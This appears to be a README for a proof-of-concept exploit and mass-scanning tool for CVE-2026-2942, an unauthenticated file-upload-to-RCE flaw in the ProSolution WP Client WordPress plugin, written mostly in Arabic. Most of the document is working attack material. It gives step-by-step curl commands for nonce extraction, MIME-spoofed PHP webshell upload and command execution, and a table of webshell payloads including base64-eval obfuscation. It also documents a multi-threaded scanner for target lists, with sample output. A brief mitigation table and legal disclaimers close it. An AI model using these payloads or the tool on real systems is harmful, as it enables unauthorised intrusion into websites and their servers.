
أداة مسح آلي لاكتشاف رفع الملفات التعسفي غير المصادق عليه وتنفيذ الأوامر عن بعد في ProSolution WP Client (CVE-2026-2942). تدعم المسح متعدد الخيوط، وتزوير MIME، والتحقق من الشل، ودعم الوكيل لاختبار الاختراق.
الإضافة: prosolution-wp-client
الإصدار المتأثر: <= 1.9.9
نوع الثغرة: رفع ملف تعسفي غير موثَّق → تنفيذ أوامر عن بُعد
مستوى الخطورة: 🔴 حرج (CVSS 9.8)
المتطلبات: صفحة عامة تحتوي على shortcode[prosolfrontend]
إجراء AJAX proSol_fileUploadProcess في إضافة ProSolution WP Client،
يتحقق من نوع MIME للملفات المرفوعة ولكنه لا يتحقق من الامتداد.
يمكن للمهاجم رفع ملف بامتداد .php مع نوع MIME image/jpeg لتحميل
webshell على الخادم بدون مصادقة.
[prosolfrontend] shortcode sayfası
│
▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
⚠️ إخلاء مسؤولية: يتم توفير إثبات المفهوم هذا لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدمه فقط ضد الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.
prosolution-wp-client نشطة (الإصدار <= 1.9.9)[prosolfrontend]قم بزيارة أي صفحة عامة تحتوي على shortcode [prosolfrontend] واستخرج قيمة prosolObj.nonce من كود المصدر:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
البنية التي يتم البحث عنها في كود المصدر:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
أرسل ملف .php مع Content-Type بقيمة image/jpeg:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
الاستجابة المتوقعة:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"و"rename_status": true← تم حفظ ملف.phpبنجاح.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # newfilename من الخطوة 3
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
المخرجات المتوقعة:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ تم تحقيق تنفيذ الأوامر عن بُعد بدون مصادقة.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
| المعامل | الاختصار | الوصف | الافتراضي |
|---|---|---|---|
--url | -u | عنوان URL للهدف الفردي | — |
--list | -l | ملف قائمة الأهداف | — |
--threads | -t | عدد الخيوط | 10 |
--output | -o | ملف المخرجات | uploaded.txt |
--shell-name | — | اسم الملف المراد رفعه | shell.php |
--shell-type | — | نوع shell | system |
--verify | — | اختبار RCE بعد الرفع | False |
--verify-cmd | — | أمر التحقق | id |
--proxy | — | عنوان URL للبروكسي | — |
--timeout | — | مهلة الطلب (ثوانٍ) | 10 |
| النوع | الحمولة | الوصف |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | أمر نظام أساسي |
passthru | <?php passthru($_GET["cmd"]); ?> | إخراج خام |
exec | <?php echo exec($_GET["cmd"]); ?> | تنفيذ صامت |
assert | <?php assert($_POST["cmd"]); ?> | تقييم عبر POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | إخفاء Base64 |
full | shell_exec + system + exec fallback | shell شامل |
جذر WordPress/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell هنا
| الحالة | الوصف |
|---|---|
★ UPLOADED | تم رفع shell بنجاح |
✓ RCE OK | تم التحقق من shell وتنفيذ الأمر |
- BLOCKED | الخادم منع امتداد PHP |
~ TIMEOUT | انتهت مهلة الاتصال |
~ CONN_ERR | خطأ في الاتصال |
! HTTP_ERR | رمز خطأ HTTP |
[*] 3 أهداف | رفع ملفات ProSolution | عدد الخيوط = 10
[★ UPLOADED ] http://hedef1.com
رابط Shell : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
الاسم الجديد: a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] خرج الأمر: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
ملفات shell التي تم رفعها → uploaded.txt
───────────────────────────────────────────────
| الإجراء | التطبيق |
|---|---|
| منع تنفيذ PHP | إضافة .htaccess في دليل uploads/ |
| تحديث الإضافة | الترقية إلى إصدار > 1.9.9 أو إزالتها |
| قائمة الامتدادات البيضاء | السماح فقط بالامتدادات المسموح بها من جانب الخادم |
| التحقق من MIME | فحص المحتوى الفعلي باستخدام finfo_file() |
| قاعدة WAF | حظر طلبات رفع ملفات .php |
ملف .htaccess لدليل uploads/:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
هذه الأداة وإثبات المفهوم معدة للاستخدام فقط على الأنظمة المصرح بها، لأغراض تعليمية وضمن اختبار الاختراق.
استخدامها على أنظمة بدون إذن يشكل جريمة بموجب المواد 243-245 من قانون العقوبات التركي وقوانين الجرائم الإلكترونية الدولية.
المطور لا يتحمل أي مسؤولية قانونية ناتجة عن إساءة استخدام الأداة.
رخصة MIT — للأغراض التعليمية والبحثية فقط.